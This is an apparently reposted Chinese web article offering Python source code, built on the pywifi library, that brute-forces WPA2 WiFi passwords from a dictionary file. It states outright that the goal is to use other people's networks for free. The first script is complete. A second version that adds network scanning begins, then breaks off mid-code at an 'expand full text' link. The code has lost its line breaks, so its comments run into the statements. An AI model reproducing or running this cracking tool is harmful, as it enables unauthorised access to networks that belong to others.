破解电脑密码源码

发布时间: 2023-04-10 12:39 阅读: 文章来源:转载

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

import pywififrom pywifi import constimport timeimport datetime# 测试连接,返回链接结果def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "Tr0e"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(2)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")# 读取密码本def readPassword():success = Falseprint("****************** WIFI破解 ******************")# 密码本路径path = "pwd.txt"# 打开文件file = open(path, "r")start = datetime.datetime.now()while True:try:pwd = file.readline()# 去除密码的末尾换行符pwd = pwd.strip(‘\n‘)bool = wifiConnect(pwd)if bool:print("[*] 密码已破解:", pwd)print("[*] WiFi已自动连接!!!")success = Truebreakelse:# 跳出当前循环,进行下一次循环print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))except:continueend = datetime.datetime.now()if(success):print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))else:print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")exit(0)if __name__=="__main__":readPassword()

代码运行效果:

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

import pywifiimport timefrom pywifi import const# WiFi扫描模块def wifi_scan():# 初始化wifiwifi = pywifi.PyWiFi()# 使用第一个无线网卡interface = wifi.interfaces()[0]# 开始扫描interface.scan()for i in range(4):time.sleep(1)print(‘\r扫描可用 WiFi 中,请稍后。。。(‘ + str(3 - i), end=‘)‘)print(‘\r扫描完成!\n‘ + ‘-‘ * 38)print(‘\r{:4}{:6}{}‘.format(‘编号‘, ‘信号强度‘, ‘wifi名‘))# 扫描结果,scan_results()返回一个集,存放的是每个wifi对象bss = interface.scan_results()# 存放wifi名的集合wifi_name_set = set()for w in bss:# 解决乱码问题wifi_name_and_signal = (100 + w.signal, w.ssid.encode(‘raw_unicode_escape‘).decode(‘utf-8‘))wifi_name_set.add(wifi_name_and_signal)# 存入列表并按信号排序wifi_name_list = list(wifi_name_set)wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)num = 0# 格式化输出while num < len(wifi_name_list):print(‘\r{:
•••展开全文
相关文章